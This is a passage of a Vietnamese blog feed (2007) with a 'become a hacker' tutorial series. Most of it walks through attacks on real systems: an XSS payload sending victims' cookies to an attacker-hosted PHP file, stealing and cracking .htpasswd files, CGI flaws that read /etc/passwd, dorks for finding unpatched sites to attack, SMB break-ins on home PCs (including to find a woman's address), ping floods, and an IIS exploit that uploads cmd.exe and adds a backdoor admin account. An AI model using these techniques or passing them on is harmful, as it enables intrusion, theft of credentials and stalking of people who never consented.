/&gt;document.write(` `)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .&lt;br /&gt;và abc.php là file VD của tôi .&lt;br /&gt;_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;`)\"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hoặc:&lt;br /&gt;&lt;br /&gt;javascript: Document.write(`&amp;#x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&amp;#x3e`)\"&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé . &lt;br /&gt;_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm . &lt;br /&gt;&lt;br /&gt;22 . ) Cách ngắt mật khẩu bảo vệ Website : &lt;br /&gt;&lt;br /&gt;_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau : &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;Graham:F#.DG*m38d%RF &lt;br /&gt;Webmaster:GJA54j.3g9#$@f &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi crack mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề crack mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/pro tected/ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/pro tected/.htpasswd &lt;br /&gt;&lt;br /&gt;Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/.htpasswd&lt;/ a&gt; &lt;br /&gt;http://www.company.com/cgi-bin/.ht passwd &lt;br /&gt;http://www.company.com/cgi-bin/pas swords/.htpasswd &lt;br /&gt;http://www.company.com/cgi-bin/pas swd/.htpasswd &lt;br /&gt;&lt;br /&gt;nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé . &lt;br /&gt;Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé . &lt;br /&gt;Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả . &lt;br /&gt;&lt;br /&gt;23 . ) Tìm hiểu về CGI ? &lt;br /&gt;&lt;br /&gt;_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày . &lt;br /&gt;_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/log in.cgi &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;với những công việc cụ thể như : &lt;br /&gt;+ Tạo ra chương trình đếm số người đã ghé thăm . &lt;br /&gt;+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn . &lt;br /&gt;+ Quản lý user name và passwd của thành viên . &lt;br /&gt;+ Cung cấp dịch vụ Mail . &lt;br /&gt;+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên . &lt;br /&gt;+ Cung cấp những thông báo lỗi chi tiết .v.v….. &lt;br /&gt;&lt;br /&gt;24 . ) Cách hack Web cơ bản nhất thông qua CGI script : &lt;br /&gt;&lt;br /&gt;_ Lỗi thứ 1 : lỗi nph-test-cgi &lt;br /&gt;&lt;br /&gt;+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn . &lt;br /&gt;+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi &lt;br /&gt;+ Lúc đó trên URL bạn sẽ nhìn giống như thế này : &lt;br /&gt;&lt;br /&gt;http://www.servername.com/cgi-bin/ nph-test-cgi &lt;br /&gt;&lt;br /&gt;+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp : &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;? /* &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau : &lt;br /&gt;&lt;br /&gt;http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/* &lt;br /&gt;&lt;br /&gt;_ Lỗi thứ 2 : lỗi php.cgi &lt;br /&gt;&lt;br /&gt;+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass : &lt;br /&gt;&lt;br /&gt;http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd &lt;br /&gt;&lt;br /&gt;Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá : &lt;br /&gt;&lt;br /&gt;/cgi-bin/php.cgi?/etc/passwd] &lt;br /&gt;hoặc cgi-bin/nph-test-cgi?/etc &lt;br /&gt;&lt;br /&gt;sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé . &lt;br /&gt;&lt;br /&gt;25 . ) Kỹ thuật xâm nhập máy tính đang online : &lt;br /&gt;&lt;br /&gt;_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu : &lt;br /&gt;_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu . &lt;br /&gt;_ Vào Start == &gt; Run gõ lệnh cmd . &lt;br /&gt;_ Trong cửa sổ DOS hãy đánh lệnh “net view ” &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;+ VD : c:\net view 203.162.30.xx &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh &lt;br /&gt;&lt;br /&gt;net use &lt;ổ đĩa bất kỳ trên máy của bạn &gt; : &lt;ổ share của nạn nhân &gt; &lt;br /&gt;&lt;br /&gt;+ VD : c:\net use E : 203.162.30.xxC &lt;br /&gt;&lt;br /&gt;_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 . &lt;br /&gt;_ Nếu máy của nạn nhân không có share thì ta đánh lệnh : &lt;br /&gt;&lt;br /&gt;net use &lt;ổ đĩa bất kỳ trên máy của bạn &gt; : c$ (hoặc d$)``administrator`` &lt;br /&gt;&lt;br /&gt;+ VD : net use E : 203.162.30.xxC$``administrator`` &lt;br /&gt;&lt;br /&gt;Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` . &lt;br /&gt;_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh : &lt;br /&gt;&lt;br /&gt;c:\netstat –n &lt;br /&gt;&lt;br /&gt;Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . ) &lt;br /&gt;Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy . &lt;br /&gt;&lt;br /&gt;=================================================== = &lt;br /&gt;&lt;br /&gt;Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào . &lt;br /&gt;&lt;br /&gt;=================================================== = &lt;br /&gt;&lt;br /&gt;Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v……. &lt;br /&gt;&lt;br /&gt;GOOKLUCK!!!!!!!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-5431726481407048100?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/5431726481407048100/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=5431726481407048100' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5431726481407048100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5431726481407048100'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/nhng-hiu-bit-c-bn-tr-thnh-hacker-phn.html' title='Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần III)'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-2336536372721107368</id><published>2007-06-19T01:14:00.001-07:00</published><updated>2007-06-19T01:14:33.973-07:00</updated><title type='text'>Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần II)</title><content type='html'>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu.&lt;br /&gt;&lt;br /&gt;Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân....&lt;br /&gt;&lt;br /&gt;Người quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx nhưng đã đuợc nguòi quản trị của host này ``map`` từ 80 thành 8080.&lt;br /&gt;&lt;br /&gt;( Tài liệu của HVA )&lt;br /&gt;&lt;br /&gt;15 . ) DNS là gì ?&lt;br /&gt;&lt;br /&gt;_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 -- &gt; localhost và localhost--- &gt; 127.0.0.1 .&lt;br /&gt;&lt;br /&gt;( Tài liệu của HVA )&lt;br /&gt;&lt;br /&gt;16 . ) Đôi điều về Wingate :&lt;br /&gt;&lt;br /&gt;_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn .&lt;br /&gt;_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate &gt; . Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;telnet wingate.net&lt;br /&gt;WinGate &gt; victim.com 23&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó .&lt;br /&gt;_ Làm sao để tìm Wingate ?&lt;br /&gt;+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 .&lt;br /&gt;+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate &gt; ” thì bạn đã tìm đúng máy đang sử dụng Wingate rồI đó .&lt;br /&gt;+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng .&lt;br /&gt;&lt;br /&gt;17 . ) Đôi điều về Traceroute :&lt;br /&gt;&lt;br /&gt;_ Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.&lt;br /&gt;_ bạn hãy xem VD sau :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;C:\windows &gt; tracert 203.94.12.54&lt;br /&gt;&lt;br /&gt;Tracing route to 203.94.12.54 over a maximum of 30 hops&lt;br /&gt;&lt;br /&gt;1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms&lt;br /&gt;2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms&lt;br /&gt;3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms&lt;br /&gt;4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms&lt;br /&gt;5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms&lt;br /&gt;6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms&lt;br /&gt;7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms&lt;br /&gt;8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms&lt;br /&gt;9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms&lt;br /&gt;10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms&lt;br /&gt;11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms&lt;br /&gt;12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms&lt;br /&gt;13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây là đưòng đi của các gói packets .&lt;br /&gt;_ Bạn hãy xem VD tiếp theo :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;host2 # traceroute xyz.com&lt;br /&gt;&lt;br /&gt;traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets&lt;br /&gt;1 isp.net (202.xy.34.12) 20ms 10ms 10ms&lt;br /&gt;2 xyz.com (202.xx.12.34) 130ms 130ms 130ms&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL&lt;=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).&lt;br /&gt;+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error ``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.&lt;br /&gt;+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message ``Port Unreachable``. Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.&lt;br /&gt;+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục gởi datagram khác đến host đích!&lt;br /&gt;_Chú ý:&lt;br /&gt;Trong windows: tracert hostname&lt;br /&gt;Trong unix: traceroute hostname&lt;br /&gt;&lt;br /&gt;( Tài liệu của viethacker.net )&lt;br /&gt;&lt;br /&gt;18 . ) Ping và cách sử dụng :&lt;br /&gt;&lt;br /&gt;_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ ``ping`` như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm đó sẽ biết là có gì gần mình.&lt;br /&gt;_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu host đó ``pong`` lại có nghĩa là host đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó.&lt;br /&gt;_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping địa_chỉ_ip``, mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;``ping ip.address -t``&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;``ping -l (size) địa_chỉ_ip ``&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là ``trip time``). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.&lt;br /&gt;Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.&lt;br /&gt;&lt;br /&gt;( Tài liệu của HVA và viethacker.net )&lt;br /&gt;&lt;br /&gt;19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :&lt;br /&gt;&lt;br /&gt;_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :&lt;br /&gt;_ Đầu tiên bạn cần tìm một server chạy IIS :&lt;br /&gt;_ Tiếp đến bạn vào DOS và đánh ` FTP `. VD :&lt;br /&gt;&lt;br /&gt;c:\Ftp www.dodgyinc.com&lt;br /&gt;&lt;br /&gt;( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé )&lt;br /&gt;Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;Connected to www.dodgyinc.com.&lt;br /&gt;220 Vdodgy Microsoft FTP Service (Version 3.0).&lt;br /&gt;User (www.dodgyinc.com:frown:none)):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous” trong user nó sẽ xuất hiện dòng sau :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;331 Anonymous access allowed, send identity (e-mail name) as password.&lt;br /&gt;Password:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử dụng “`Guest” , thử lại passwd với “guest” xem thế nào .&lt;br /&gt;Bây giờ bạn hãy đánh lệnh trong DOS :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;Cd /c&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thư mục `cgi-bin` . Nếu như bạn may mắn , bạn sẽ tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt `cgi-bin` vào nơi mà ta vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào greenbiggrin.gif greenbiggrin.gif .&lt;br /&gt;_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file quan trọng nhất đó là `getadmin.exe` và `gasys.dll` . Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .&lt;br /&gt;Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :&lt;br /&gt;&lt;br /&gt;http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?IUSR_VDODGY&lt;br /&gt;&lt;br /&gt;Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;CGI Error&lt;br /&gt;The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:&lt;br /&gt;Congratulations , now account IUSR_VDODGY have administrator rights!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :&lt;br /&gt;&lt;br /&gt;http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2 0hacker%20toilahacker%20/add&lt;br /&gt;&lt;br /&gt;dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần đánh lên IE lệnh :&lt;br /&gt;&lt;br /&gt;http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday&lt;br /&gt;&lt;br 